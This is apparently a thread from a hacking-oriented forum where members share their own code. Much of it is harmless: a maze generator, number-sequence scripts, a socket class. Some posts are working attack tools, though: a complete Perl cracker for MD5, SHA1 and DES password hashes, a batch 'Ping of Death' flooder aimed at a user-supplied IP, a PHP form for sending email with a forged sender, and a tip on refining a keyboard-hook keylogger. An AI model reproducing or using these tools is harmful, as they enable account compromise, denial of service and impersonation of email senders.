  int visitedCells = 1;
  int totalCells = getSize(); // getSize() defined in stack.h
  currentCell.i = iNext;
  currentCell.j = jNext;
  
  while(visitedCells &lt; totalCells) {
    //find all neighbors of CurrentCell with all walls intact  
    //check adjacent cells and see if all 4 of their walls are up
    //	if they are all up then they are available
    //	else not available
    availableCount = 4;
    for(int c = 0; c &lt; 4; c++)
      availableCells[c] = 1;
    if(!cellsAvailable(iNext, jNext, RIGHT)) {
      availableCells[RIGHT] = 0;
      availableCount--;
    }
    if(!cellsAvailable(iNext, jNext, TOP)) {
      availableCells[TOP] = 0;
      availableCount--;
    }
    if(!cellsAvailable(iNext, jNext, LEFT)) {
      availableCells[LEFT] = 0;
      availableCount--;
    }
    if(!cellsAvailable(iNext, jNext, BOTTOM)) {
      availableCells[BOTTOM] = 0;
      availableCount--;
    }
    
    //if one or more found 
    if(availableCount &gt; 0) {
      //choose one at random 
      int randWall;
      do {
	randWall = int(4.0 * rand()/(RAND_MAX+1.0));;
      } while (!availableCells[randWall]);
      //knock down the wall between it and CurrentCell 
      switch(randWall) {
      case RIGHT:
	verti[iNext + 1][jNext] = NOWALL;
	iNext++;
	break;
      case TOP:
	horiz[iNext][jNext + 1] = NOWALL;
	jNext++;
	break;
      case LEFT:
	verti[iNext][jNext] = NOWALL;
	iNext--;
	break;
      case BOTTOM:
	horiz[iNext][jNext] = NOWALL;
	jNext--;
	break;
      }
      
      //push CurrentCell location on the CellStack 
      push(currentCell);
      
      //make the new cell CurrentCell 
      currentCell.i = iNext;
      currentCell.j = jNext;
      
      //add 1 to VisitedCells 
      visitedCells++;
    } else {
      //pop the most recent cell entry off the CellStack 
      //make it CurrentCell 
      currentCell = pop();
      //set iNext and jNext for next iteration
      iNext = currentCell.i;
      jNext = currentCell.j;
    }
  }
}

void displayMaze() {
  /*	Displays the maze using OpenGL.
   *	Called after walls have been knocked down.
   */
  glMatrixMode (GL_PROJECTION);
  glLoadIdentity ();			
  gluOrtho2D (-0.1, 1.1, -0.1, 1.1);	// Set viewing area
  glScalef(1.0f/(X), 1.0f/(Y), 1);	// Scale maze so it fits
  glClearColor (1.0, 1.0, 1.0, 0.0);	// Make the background white.
  glColor3f (0.0, 0.0, 0.0);			// Draw in black.
  glNewList(1, GL_COMPILE);
  glBegin(GL_LINES);
  
  float i,j;
  /* Draw horizontal lines */
  for(i = 0; i &lt; X; i++) {
    for(j = 0; j &lt;= Y; j++) {
      if(horiz[(int)i][(int)j] == WALL) {
	glVertex2f(i, j);
	glVertex2f(i+1.0f, j);
      }
    }
  } 
  
  /* Draw vertical lines */
  for(i = 0; i &lt;= X; i++) {
    for(j = 0; j &lt; Y; j++) {
      if(verti[(int)i][(int)j] == WALL) {
	glVertex2f(i, j);
	glVertex2f(i, j+1.0f);
      }
    }
  } 
  
  glEnd ();
  glEndList();
}

void displayCallback() {
  /*	This is the callback function that 
   *	gets executed every time the display
   *	needs to be updated.
   */
  glClear (GL_COLOR_BUFFER_BIT);
  glCallList (1);
  glutSwapBuffers ();
}

main (int argc, char* *argv) {
  /*	Program starts here.
   *	Makes sure there are the correct number of args.
   *	Calls initMaze.
   *	Calls the appropriate OpenGL/GLUT init functions.
   *	Calls generateMaze to determine what to be displayed.
   *	Calls displayMaze to display maze.
   */
  if(argc != 3) {
    fprintf(stderr, 
	    &quot;Usage is %s X Y, where X and Y are integers between 4 and 64&#92;n&quot;, 
	    argv[0] );
    return -1;
  } 
  
  int m = atoi(argv[1]);
  int n = atoi(argv[2]);
  
  initMaze(m,n);
  
  glutInit (&argc, argv);
  glutInitWindowSize (600, 600);
  glutInitWindowPosition(100, 100);
  glutInitDisplayMode (GLUT_RGB | GLUT_DOUBLE);
  glutCreateWindow (&quot;Maze by *******&quot;);
  glutDisplayFunc (displayCallback);
  generateMaze();
  displayMaze();
  
  glutMainLoop ();
}

ghost's Avatar
0 0

Ah sweet, I cleaned up my logs like a thousand-fold by figuring out the lParam keyboard flags. Adding the line:

markupif( (DWORD) lParam & 0x40000000 ) {

You don't get repeated keystrokes with a WH_KEYBOARD hook. Very nice!


ghost's Avatar
0 0

Prime number finder, its in python, also you need to fix the tabing ththis thign doesnt alow it…

#!/python24
a=raw_input(&quot;Find all prime numbers below? &quot;)
print &quot;2&quot;
b=3
c=2
d=open(&quot;primesunder&quot;+a+&quot;.txt&quot;, &quot;a&quot;)
d.write(&quot;Find all primes below &quot;+a+&quot;:&#92;n&quot;)
d.write(&quot;2&#92;n&quot;)
while(int(b)&lt;int(a)):
    while(int(b)&gt;int(c)):
        if(int(b)%int(c)==0):
            b=b+1
            c=2
            continue
        else:
            c=c+1
            continue
    print b
    d.write(str(b)+&quot;&#92;n&quot;)
    b=b+1
    c=2
print &quot;Done!&#92;a&quot;
raw_input()
# Wolfmankurd&#39;s prime number finder.```
This is techniqally pretty slow but practically fast, IE how it finds the primes makes me sick as a mathamatician but it does it fast.

ghost's Avatar
0 0

prime checker also gives oyu the factor making a number not prime.(need to fix the tabs)

#!/python24
a=raw_input(&quot;Enter number to see if it&#39;s prime: &quot;)
if(int(a)==1):
    print &quot;&#92;aOne is not a prime number, although commonly believed to be one.&quot;
if(int(a)==2):
    print &quot;&#92;aTwo is a prime number, the first infact!&quot;
    raw_input()
c=2
while(int(a)!=int(c)):
    if(int(a)%int(c)==0):
        print str(a)+&quot; is not a prime number! It is devisible by&#92;a &quot;+str(c)
        raw_input()
    else:
        c=c+1
        continue
print a+&quot; is a prime number!&#92;a&quot;
raw_input()
# Wolfmankurd&#39;s prime number finder.

pretty nifty but the why it works is not pretty…


ghost's Avatar
0 0

sorry if sum1 asked this b4, but how abt the source codes of the done programming challenges ?


ghost's Avatar
0 0

My alarm clock:

$time = date(&quot;h:i&quot;);//date is
echo $time;//display date
if($time == &quot;12:17&quot;)//if time == time to wake up
require (&quot;http://localhost/rec.html&quot;);//require a page that loops a noise
else
echo &quot;&lt;meta http-equiv=&#39;refresh&#39; content=&#39;0;URL=time.php&#39;&gt;&quot;;//refresh
?&gt;```

ghost's Avatar
0 0

Very Impressive i love the post idea im not much of a programer but i agree i like to get idea i might program up a little trojan /virus y? because i can and its either that or Private Sub Command1_Click() MsgBox "hello world , i h8e my self" End Sub but it would be for ""educational purposes"wink wink":)


ghost's Avatar
0 0

I've been coding a little socket class for my own personal use. I can never use other people classes effectively anyways. So again, I dunno how helpful it is posting the code.

// MAIN.CPP
// Test of my socket class ._.
/////////////
int main(int argc, char **argv)
{
	Pills::Socket* server = new Pills::Socket();
	std::string buf;
	try 
	{
		server-&gt;connect(std::string(argv[1]), 80);
		std::string header;
			header += &quot;GET / HTTP/1.1&#92;r&#92;nHost: &quot;;
			header += argv[1];
			header += &quot;&#92;r&#92;n&#92;r&#92;n&quot;;
		server-&gt;send(header);
		server-&gt;recv(buf);
	}
	catch(Pills::Exception e)
	{
		MessageBox(0, std::string(&quot;Error Code: &quot; + e.what()).c_str(), &quot;Error Encountered&quot;, 0);
	}
	std::cout &lt;&lt; buf &lt;&lt; &quot;&#92;n&#92;n&#92;tDone.&quot;;
	return 0;
}```




```markup///////////
// SOCKET.CPP
// Implements the socket
// member functions
//////////////
#include &quot;server.h&quot;

namespace Pills
{

inline std::string s(unsigned int n) {
	std::stringstream ss; ss &lt;&lt; &quot; &quot; &lt;&lt; n;
	return ss.str();
}



int Socket::sCount = 0;
Socket::Socket() : 
	m_sSock(0), m_sHost(0), m_sTimeOut(0)
{
	if(Socket::sCount == 0)
	{
		WSADATA	wsaData;
		if (::WSAStartup(MAKEWORD(2,2), &wsaData) == 0)
		{
			if (!(LOBYTE(wsaData.wVersion) &gt;= 2))
			{
				if(!(::WSACleanup() == 0))
				{
					throw Exception(&quot;101&quot;);
				}
				throw Exception(&quot;102&quot;);

			}
		}
		else
			throw Exception(&quot;103&quot;);
	} 
	Socket::sCount++;
}

	
void Socket::connect(std::string &host, int port)
{
	m_sHostName = host.c_str();
	m_sPort = port;
	m_sHost = ::gethostbyname(m_sHostName.c_str());
	if(!m_sHost) 
		throw Exception(&quot;104&quot;);



	m_sInfo.sin_family = AF_INET;
	m_sInfo.sin_addr = *((LPIN_ADDR)*m_sHost-&gt;h_addr_list);
	m_sInfo.sin_port = htons(m_sPort);	
	
	
	
	m_sSock = ::socket(AF_INET, SOCK_STREAM, 0);
	if(m_sSock == SOCKET_ERROR)
		throw(&quot;106&quot;);

	if(::connect(m_sSock, (LPSOCKADDR)&m_sInfo,
		sizeof(struct sockaddr) ) == SOCKET_ERROR)
		throw Exception(&quot;105&quot;, WSAGetLastError());
}

int Socket::recv(char* buf,int len, int block)
{
	int ret;
	if(block == 0)
	{
		if((ret = ::recv(m_sSock, buf, len,0)) == SOCKET_ERROR)
		{
			throw Exception(&quot;108&quot;,WSAGetLastError());
		}
		else if(ret == 0) return 0;
	}
	else 
	{
		struct timeval tv;
		tv.tv_sec = m_sTimeOut / 1000 ;
		tv.tv_usec = ( m_sTimeOut % 1000) * 1000  ;
		setsockopt (m_sSock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv, sizeof tv);
		if(::recv(m_sSock, buf, len, 0)==SOCKET_ERROR)
		{
			throw Exception(&quot;109&quot;,WSAGetLastError());
		}
	} *(buf+ret) = 0x00;
	return 1;
}
void Socket::recv(std::string& buf, int block)
{
	char* recvBuf = new char[1024];
	for(int ret = 1; ret &gt;= 1;)
	{
		::ZeroMemory(recvBuf, 1024);
		ret = ::recv(m_sSock, recvBuf, 1024, 0);
		if(ret == SOCKET_ERROR)
		{
			throw Exception(&quot;113&quot;, WSAGetLastError());
		}
		buf += recvBuf;
	}
	delete [] recvBuf;
}
void Socket::send(const std::string buffer)
{
	if(::send(m_sSock,buffer.c_str(),buffer.size(),0)==SOCKET_ERROR)
	{
		throw Exception(&quot;107&quot;,WSAGetLastError());
	}
}


};```




```markup/////////////
// SERVER.H
// Defines our Socket and Exception classes
////////////////
namespace Pills
{


class Exception
{
	public:
		Exception() : m_pMessage(&quot;&quot;), m_lastError(0) {}
		Exception
			(const std::string& pMessage) : 
			m_pMessage(pMessage), m_lastError(0){}
		Exception
			(const std::string& pMessage,int pLast) : 
			m_pMessage(pMessage), m_lastError(pLast) {}
		virtual ~Exception() {}
		std::string what() 
		{ 
			if( m_lastError == 0 ) 
				return m_pMessage;

			std::stringstream ss; 
			ss &lt;&lt; m_pMessage &lt;&lt; &quot;:&quot; &lt;&lt; m_lastError;
			return ss.str();
		}


	private:
		std::string m_pMessage;
		int m_lastError;
};
class Socket
{
	public:
		Socket();
		virtual ~Socket() { 
			::closesocket(m_sSock);
			m_sSock = 0;
		}
		void connect(std::string& host, int port);
		void recv(std::string& buf, int blocking = 0);
		int recv(char* buf, int blocksize, int blocking = 0);
		void send(const std::string);
		void Close();
		void SetTimeout(int ms) { m_sTimeOut = ms;}

	private: 
		//Misc Data
			std::string m_sHostName;
			int m_sPort;
			int m_sTimeOut;
			static int sCount;
			WSADATA	wsaData;
		//Socket info
			SOCKADDR_IN m_sInfo;
			SOCKET m_sSock;
			LPHOSTENT m_sHost;
};
class Header
{
	public:
		Header();
};

};```

The forums really mess with the tabbing/spacing, and escapes wierd characters at bad times, and other crazy things. I&#39;ll upload it to a webhost so you can get the project files very soon. This was inspired by an HTS challenge and this tutorial: [Mad_wizard C++ winsock tutorial](http://www.madwizard.org/view.php?page=tutorials.networking.chapter6&#9001;=cpp)

ghost's Avatar
0 0

to express numbers as products of they'r eprime factors unbelieveibly helpfull dont include the 1* bit its a glitch.

#!/python
a=raw_input(&quot;Enter interger to find the prime factors of: &quot;)
if(int(a)==1):
    print &quot;&#92;aOne is not a prime number, although commonly believed to be one.&quot;
if(int(a)==2):
    print &quot;&#92;aTwo is a prime number, the first infact!&quot;
    raw_input()
e=a
c=2
d=1
while(int(a)!=int(c)):
    if(int(a)%int(c)==0):
        d=str(d)+&quot;*&quot;+str(c)
        a=(int(a)/int(c))
        print d
        c=2
        continue
    else:
        c=int(c)+1
        continue
print str(d)+&quot;*&quot;+str(a)+&quot;=&quot;+str(e)
print &quot;Done!&#92;a&quot;
raw_input()
##Wolfmankurd&#39;s product of prime factors expresser.
##1 added at the begining of asnswers to because of glitch * at the begingin of answer.

fix tabs…


ghost's Avatar
0 0

triangle number generator

#!/python24
a=0
b=1
c=open(&quot;Triangle.txt&quot;, &quot;a&quot;)
c.write(&quot;The triangle numbers:&#92;n&quot;)
while 1:
	print a
	c.write(&quot;-&quot;+str(a)+&quot;&#92;n&quot;)
	a=a+b
	b=b+1
##Wolfmankurds triangle number generator.
##does not limit CPU usage

fix tabs, outputs a txt with triangle numbers


ghost's Avatar
0 0

caluctales powers of stuff,

#!/python24
a=raw_input(&quot;Find all powers of: &quot;)
b=raw_input(&quot;Up untill: &quot;)
c=1
d=open(&quot;Powersof&quot;+a+&quot;.txt&quot;, &quot;a&quot;)
d.write(&quot;Powers of &quot;+a+&quot; up to &quot;+b+&quot;&#92;n&quot;)
while(int(c)!=int(b)):
    e=int(c)**int(a)
    print e
    d.write(str(e)+&quot;&#92;n&quot;)
    c=c+1
print &quot;Done!&#92;a&quot;
raw_input()
# Wolfmankurd powers.

fix tabs…


ghost's Avatar
0 0

Generates fibonacci numbers,,, did you know bee's and rabbits generate in this sequence?

#!/python24
b=0
a=1
c=a
d=open(&quot;Fibonacci.txt&quot;, &quot;a&quot;)
d.write(&quot;The Fibonacci numbers:&#92;n&quot;)
while 1:
    print c
    d.write(&quot;-&quot;+str(c)+&quot;&#92;n&quot;)
    c=a+b
    b=a
    a=c
## Wolfmankurds Fibonacciator!

fix tabs ;) out puts to file


n3w7yp3's Avatar
Member
0 0

her is a crazy password cracker that i made tonight. it will do several types of attacks. it will crack DES, MD5, and SHA1.

feel free to post comments/suggestions etc..

#!/usr/bin/perl -w

# Written by n3w7yp3

# Declarations.

# the modules that we&#39;ll be using:
# use strict;
use Digest::MD5;
use Digest::SHA1;

# some command line arguments:
my $dict = shift || &usage;
my $hash = shift || &usage;

# main
print &quot;Starting Cracker by n3w7yp3...&#92;n&quot;;
# if the dictionary does not exist, exit.
if(!(-e &quot;$dict&quot;))
{ 
        die &quot;$dict does not exist.&#92;n&quot;;
}
open(DICT, &quot;$dict&quot;) || die &quot;Unable to open $dict.&#92;n&quot;;
# if one of your precomputated hash tables does not exist display a warning mesage
if(!(-e &quot;cracker.des&quot;))
{
	warn &quot;The cracker.des precomputed hash table does not exist. Precomputated hash tables will not be used and the cracked hash will not be written in. I highly suggest that you &#92;^C the program and make these files.&#92;n&quot;;
}
if(!(-e &quot;cracker.md5&quot;))
{
	warn &quot;The cracker.md5 precomputed hash table does not exist. Precomputated hash tables will not be used and the cracked hash will not be written in. I highly suggest that you &#92;^C the program and make these files.&#92;n&quot;;
}
if(!(-e &quot;cracker.sha1&quot;))
{
	warn &quot;The cracker.sha1 precomputed hash table does not exist. Precomputed hash tables will not be used and the cracked hash will not be written in. I highly suggest that you &#92;^C the program and make these files.&#92;n&quot;;
}
print &quot;Cracking the hash $hash...&#92;n&quot;;
my $count = 0;
# Okay now lets identify the algorith used:
if($hash =~ /^.{32}$/)
{
        &md5;
}
elsif($hash =~ /^.{40}$/)
{
        &sha1;
}
elsif($hash =~ /^.{13}$/)
{
        &des;
}
else
{
	die &quot;Valid hash types are DES&#92;, MD5&#92;, or SHA1.&#92;n&quot;;
}

# jump to some subs...
sub usage
{
        die &quot;Usage: $0 &lt;wordlist&gt; &lt;hash&gt;&#92;nWordlist is the wordlist to get words from.&#92;nHash is the hash to crack. Valid hash types are: DES, MD5, and SHA1.&#92;n&quot;;
}
sub md5
{
	print &quot;Algorithm used is: MD5.&#92;n&quot;;
	print &quot;Checking precomputated hash tables...&#92;n&quot;;
	if(!(-e &quot;cracker.md5&quot;))
	{
		warn &quot;The MD5 precomputed hash table does not exist. Precomputed hash tables will not be used in this cracking session.&#92;n&quot;;
	}
	if(-e &quot;cracker.md5&quot;)
	{
		open(HTMD5, &quot;cracker.md5&quot;) || die &quot;Unable to open the MD5 precomputed hash table (cracker.md5)&#92;n&quot;;
		while(defined(my $md5ht = &lt;HTMD5&gt;))
		{
			chomp $md5ht;
			@passwd = (split /:/, $md5ht);
			$count++;
			if($passwd[0] eq $hash)
			{
				print &quot;Password cracked!!!&#92;n&quot;;
				print &quot;The password is: $passwd[1]&#92;n&quot;;
				print &quot;The password was cracked in $count tries.&#92;n&quot;;
				close DICT;
				close HTMD5;
				exit;
			}
		}
		close HTMD5;
		print &quot;The password was not found in the precomputed hash table. Once cracked, it will be added.&#92;n&quot;;
	}
	$count = 0;
	print &quot;Starting dictionary attack using the words in $dict.&#92;n&quot;;
	while(defined(my $password = &lt;DICT&gt;))
	{
		chomp $password;
		my $new_md5 = Digest::MD5 -&gt; new;
		$new_md5 -&gt; add (&quot;$password&quot;);
		my $new_md5_hash = $new_md5 -&gt; hexdigest;
		$count++;
		if($new_md5_hash eq $hash)
		{
			print &quot;Password cracked!!!&#92;n&quot;;
			print &quot;The passwword is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries.&#92;n&quot;;
			print &quot;Adding $hash&#92;:$password to the MD5 precomputed hash table...&#92;n&quot;;
			open(MD5HT, &quot;&gt;&gt;cracker.md5&quot;);
			print MD5HT &quot;$hash&#92;:$password&#92;n&quot;;
			close MD5HT;
			close DICT;
			print &quot;Entry added. Exiting...&#92;n&quot;;
			exit;
		}
	}
	$count = 0;
	close DICT;
	print &quot;The password was not found in the dictionary attack. Moving onto charset &#92;(a &#92;- zzzzzz&#92;) bruteforce...&#92;n&quot;;
	my $password = &quot;a&quot;;
	for($password = &quot;a&quot;; $password lt &quot;zzzzzz&quot;; $password++)
	{
		my $new_md5 = Digest::MD5 -&gt; new;
		$new_md5 -&gt; add (&quot;$password&quot;);
		my $new_md5_hash = $new_md5 -&gt; hexdigest;
		$count++;
		if($new_md5_hash eq $hash)
		{
			print &quot;Password Cracked!!!&#92;n&quot;;
			print &quot;The passwword is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries.&#92;n&quot;;
		        print &quot;Adding $hash&#92;:$password to the MD5 precomputed hash table...&#92;n&quot;;
			open(MD5HT, &quot;&gt;&gt;cracker.md5&quot;);
			print MD5HT &quot;$hash&#92;:$password&#92;n&quot;;
			close MD5HT;
			print &quot;Entry added. Exiting...&#92;n&quot;;
			exit;
		}
		$password++;
	}
	$count = 0;
	print &quot;Password was not found in charset brute force. Starting numrange brute force &#92;(0 &#92;- 9999999&#92;)...&#92;n&quot;;
	$password = &quot;0&quot;;
	while($password &lt;= 9999999)
	{
		my $new_md5 = Digest::MD5 -&gt; new;
		$new_md5 -&gt; add (&quot;$password&quot;);
		my $new_md5_hash = $new_md5 -&gt; hexdigest;
		$count++;
		if($new_md5_hash eq $hash)
		{
			print &quot;Password Cracked!!!&#92;n&quot;;
			print &quot;The passwword is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries.&#92;n&quot;;
			print &quot;Adding $hash&#92;:$password to the MD5 precomputed hash table...&#92;n&quot;;
			open(MD5HT, &quot;&gt;&gt;cracker.md5&quot;);
			print MD5HT &quot;$hash&#92;:$password&#92;n&quot;;
			close MD5HT;
			print &quot;Entry added. Exiting...&#92;n&quot;;
			exit;
		}
		$password++;
	}
	die &quot;The password was not found in all the attacks.&#92;n&quot;;
}
sub sha1
{
	print &quot;Algorithm is: SHA1.&#92;n&quot;;
	print &quot;Checking precomputated hash tables...&#92;n&quot;;
	if(!(-e &quot;cracker.sha1&quot;))
	{
		warn &quot;The SHA1 precomputed hash table does not exist. Precomputed hash tables will not be used in this cracking session.&#92;n&quot;;
	}
	if(-e &quot;cracker.sha1&quot;)
	{
		open(HTSHA1, &quot;cracker.sha1&quot;) || die &quot;Unable to open the SHA1 precomputed hash table (cracker.sha1)&#92;n&quot;;
		while(defined(my $sha1ht = &lt;HTSHA1&gt;))
		{
			chomp $sha1ht;
			@passwd = (split /:/, $sha1ht);
			$count++;
			if($passwd[0] eq $hash)
			{
				print &quot;Password cracked!!!&#92;n&quot;;
				print &quot;The password is: $passwd[1]&#92;n&quot;;
				print &quot;The password was cracked in $count tries.&#92;n&quot;;
				close DICT;
				close HTSHA1;
				exit;
			}
		}
		close HTSHA1;
		print &quot;The password was not found in the precomputed hash table. Once cracked, it will be added.&#92;n&quot;;
	}
	$count = 0;
	print &quot;Starting dictionary attack using the words in $dict.&#92;n&quot;;
	while(defined(my $password = &lt;DICT&gt;))
	{
		chomp $password;
		my $new_sha1 = Digest::SHA1 -&gt; new;
		$new_sha1 -&gt; add (&quot;$password&quot;);
		my $new_sha1_hash = $new_sha1 -&gt; hexdigest;
		$count++;
		if($new_sha1_hash eq $hash)
		{
			print &quot;Password cracked!!!&#92;n&quot;;
			print &quot;Password is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries,&#92;n&quot;;
			close DICT;
			print &quot;Adding $hash&#92;:$password to the MD5 precomputed hash table...&#92;n&quot;;
			open(HTSHA1, &quot;&gt;&gt;cracker.sha1&quot;);
			print HTSHA1 &quot;$hash&#92;:$password&#92;n&quot;;
			close HTSHA1;
			print &quot;Entry added. Exiting...&#92;n&quot;;
			exit;
		}
	}
	$count = 0;
	close DICT;
	print &quot;The password was not found in the dictionary attack. Moving onto charset &#92;(a &#92;- zzzzzz&#92;) bruteforce...&#92;n&quot;;
	my $password = &quot;a&quot;;
	for($password = &quot;a&quot;; $password lt &quot;zzzzzz&quot;; $password++)
	{
		my $new_sha1 = Digest::SHA1 -&gt; new;
		$new_sha1 -&gt; add (&quot;$password&quot;);
		my $new_sha1_hash = $new_sha1 -&gt; hexdigest;
		$count++;
		if($new_sha1_hash eq $hash)
		{
			print &quot;Password Cracked!!!&#92;n&quot;;
			print &quot;The password is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries.&#92;n&quot;;
			print &quot;Adding $hash&#92;:$password to the SHA1 precomputed hash table...&#92;n&quot;;
			open(HTSHA1, &quot;&gt;&gt;cracker.sha1&quot;);
			print HTSHA1 &quot;$hash&#92;:$password&#92;n&quot;;
			close HTSHA1;
			print &quot;Entry added. Exiting...&#92;n&quot;;
			exit;
		}
		$password++;
	}
	$count = 0;
	print &quot;Password was not found in charset brute force. Starting numrange brute force &#92;(0 &#92;- 9999999&#92;)...&#92;n&quot;;
	$password = &quot;0&quot;;
	while($password &lt;= 9999999)
	{
		my $new_sha1 = Digest::SHA1 -&gt; new;
		$new_sha1 -&gt; add (&quot;$password&quot;);
		my $new_sha1_hash = $new_sha1 -&gt; hexdigest;
		$count++;
		if($new_sha1_hash eq $hash)
		{
			print &quot;Password Cracked!!!&#92;n&quot;;
			print &quot;The password is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries.&#92;n&quot;;
			print &quot;Adding $hash&#92;:$password to the SHA1 precomputed hash table...&#92;n&quot;;
			open(HTSHA1, &quot;&gt;&gt;cracker.sha1&quot;);
			print HTSHA1 &quot;$hash&#92;:$password&#92;n&quot;;
			close HTSHA1;
			print &quot;Entry added. Exiting...&#92;n&quot;;
			exit;
		}
		$password++;
	}
	die &quot;The password was not found in all the attacks.&#92;n&quot;;
}
sub des
{
	my $salt = substr($hash,0,2);
	print &quot;Algorithm is: DES.&#92;n&quot;;
	print &quot;Salt is: $salt&#92;n&quot;;
	print &quot;Checking precomputated hash tables...&#92;n&quot;;
	if(!(-e &quot;cracker.des&quot;))
	{
		warn &quot;The DES precomputed hash table does not exist. Precomputed hash tables will not be used in this cracking session.&#92;n&quot;;
	}
	if(-e &quot;cracker.des&quot;)
	{
		open(HTDES, &quot;cracker.des&quot;) || die &quot;Unable to open DES precomputed hash table (cracker.des).&#92;n&quot;;
		while(defined(my $desht = &lt;HTDES&gt;))
		{
			chomp $desht;
			@passwd = (split /:/, $desht);
			$count++;
			if($passwd[0] eq $hash)
			{
				print &quot;Password cracked!!!&#92;n&quot;;
				print &quot;The password is: $passwd[1]&#92;n&quot;;
				print &quot;The password was cracked in $count tries.&#92;n&quot;;
				close DICT;
				close HTDES;
				exit;
			}
		}
	}
	print &quot;The password was not found in the precomputed hash table. once found, it will be added.&#92;n&quot;;
	$count = 0;
	print &quot;Starting dictionary attack using the words in $dict.&#92;n&quot;;
	while(defined(my $password = &lt;DICT&gt;))
	{
		chomp $password;
		$count++;
		if(crypt($password, $salt) eq $hash)
		{
			print &quot;Password cracked!!!&#92;n&quot;;
			print &quot;Password is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries.&#92;n&quot;;
			close DICT;
			print &quot;Adding $hash&#92;:$password to the DES precomputed hash table...&#92;n&quot;;
			open(HTDES, &quot;&gt;&gt;cracker.des&quot;);
			print HTDES &quot;$hash&#92;:$password&#92;n&quot;;
			close HTDES;
			print &quot;Entry added. Exiting...&#92;n&quot;;
			exit;
		}
	}
	$count = 0;
	close DICT;
	print &quot;The password was not found in the dictionary attack. Moving onto charset &#92;(a &#92;- zzzzzz&#92;) bruteforce...&#92;n&quot;;
	my $password = &quot;a&quot;;
	for($password = &quot;a&quot;; $password lt &quot;zzzzzz&quot;; $password++)
	{
		$count++;
		if(crypt($password, $salt) eq $hash)
		{
			print &quot;Password Cracked!!!&#92;n&quot;;
			print &quot;The password is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries.&#92;n&quot;;
			close DICT;
			print &quot;Adding $hash&#92;:$password to the DES precomputed hash table...&#92;n&quot;;
			open(HTDES, &quot;&gt;&gt;cracker.des&quot;);
			print HTDES &quot;$hash&#92;:$password&#92;n&quot;;
			close HTDES;
			print &quot;Entry added. Exiting...&#92;n&quot;;
			exit;
		}
		$password++;
	}
	$count = 0;
	print &quot;Password was not found in charset brute force. Starting numrange brute force &#92;(0 &#92;- 9999999&#92;)...&#92;n&quot;;
	$password = &quot;0&quot;;
	while($password &lt;= 9999999)
	{
		$count++;
		if(crypt($password, $salt) eq $hash)
		{
			print &quot;Password Cracked!!!&#92;n&quot;;
			print &quot;The password is: $password&#92;n&quot;;
			print &quot;Password was cracked in $count tries.&#92;n&quot;;
			close DICT;
			print &quot;Adding $hash&#92;:$password to the DES precomputed hash table...&#92;n&quot;;
			open(HTDES, &quot;&gt;&gt;cracker.des&quot;);
			print HTDES &quot;$hash&#92;:$password&#92;n&quot;;
			close HTDES;
			print &quot;Entry added. Exiting...&#92;n&quot;;
			exit;
		}
		$password++;
	}
	die &quot;The password was not found in all the attacks.&#92;n&quot;;
}

ghost's Avatar
0 0

[edit: by the way, newtype, nice job on that perl prog. looks like some good work :)][/edit]

In short, this C++ program is like Crystal Methamphetamine for your mouse. Have fun! Oh by the way, to break out of it, press Control + Shift + H.

#Nobodies responsible for what you do with my crap you can do what you want at your own will but it is always you that will be responsible, not nobody else not no how#

Begin Code:

#include &lt;windows.h&gt;
#include &lt;iostream&gt;
#include &lt;string&gt;
using std::endl;
using std::cout;
using namespace std;

int main()
{
int exs = GetSystemMetrics(SM_CXSCREEN);
int why = GetSystemMetrics(SM_CYSCREEN);
while (666)
{
 SetCursorPos(rand()%exs, rand()%why);
 if(GetAsyncKeyState(VK_CONTROL)&&GetAsyncKeyState(VK_SHIFT)&&
 GetAsyncKeyState(&#39;H&#39;)) return 0;
}
}


ghost's Avatar
0 0

Well here is one Ping of death program i made in BATCH, Its very simple.

@echo off
TITLE The Pinger
color f1
color 04

:start
echo                          Dealer X9s Ping Of Death
echo                           Hit Enter to continue
SET /P ans=%1
IF &quot;%ans%&quot;==&quot;ok&quot; GOTO :ping

:ping
cls
echo                  (Ping (PoD))
set /P pingofdeath= Enter IP:
set /P bytes= Enter Bytes to send (Max 65500):
ping %pingofdeath% -t -l %bytes%
echo.
pause
cls
goto start

ghost's Avatar
0 0

This does absolutely nothing cause i cant find any source code(That i wrote) markup&lt;?php print(&quot;HAHAHAHAHAHA... Hi&quot;); ?&gt;

–Edit– NO WAIT I found some pretty crappy code i wrote a few months back (Its one i wrote an article on

&lt;body&gt;
&lt;center&gt;
&lt;?
if (isset ($_POST[&#39;submit&#39;])) {
if (empty($_POST[&#39;from&#39;])) {
print (&quot;Please fill in an email address&quot;);
}
if (empty ($_POST[&#39;to&#39;])) {
print (&quot;Please enter a to address&quot;);
}
if (empty ($_POST[&#39;subject&#39;])) {
print (&quot;Please enter a subject&quot;);
}
if (empty ($_POST[&#39;message&#39;])) {
print (&quot;Please enter a message&quot;);
}
else {
$from = $_POST[&#39;from&#39;];
$to = $_POST[&#39;to&#39;];
$subject = $_POST[&#39;subject&#39;];
$message = $_POST[&#39;message&#39;];
mail(&quot;$to &quot;, &quot;$subject&quot; , &quot;$message&quot;, &quot;From: $from&quot;);
}
}
?&gt;
&lt;form Method=&quot;POST&quot; action=&quot;anonemail.php&quot;&gt;
From:&lt;br /&gt;
&lt;input type=&quot;Text&quot; name=&quot;from&quot; width=&quot;140&quot;&gt;&lt;br /&gt;
To:&lt;br /&gt;
&lt;input type=&quot;Text&quot; name=&quot;to&quot; width=&quot;140&quot;&gt;&lt;br /&gt;
Subject &lt;br /&gt;
&lt;input type=&quot;Text&quot; name=&quot;subject&quot; width=&quot;140&quot;&gt;&lt;br /&gt;
Comments:&lt;br /&gt;&lt;textarea cols=&quot;20&quot; rows=&quot;5&quot; name=&quot;message&quot;&gt;&lt;/textarea&gt;&lt;br /&gt; 
&lt;input type=&quot;submit&quot; value=&quot;Submit&quot; name=&quot;submit&quot;&gt; 
&lt;/form&gt;
&lt;/center&gt;
&lt;/body&gt;
&lt;/html&gt;```

YAY HTML

ghost's Avatar
0 0

Heres a drawing application I made in Flash ActionScript 2.0, purely in code (just because I can):

(_root.createEmptyMovieClip(&quot;menu&quot;, 1)).defaultSettings();
menu.drawRect([0, 0, 550, 400]);
menu.drawRoundedRect([25, 25, 525, 325], 25);
menu.beginFill(0x666666, 100);
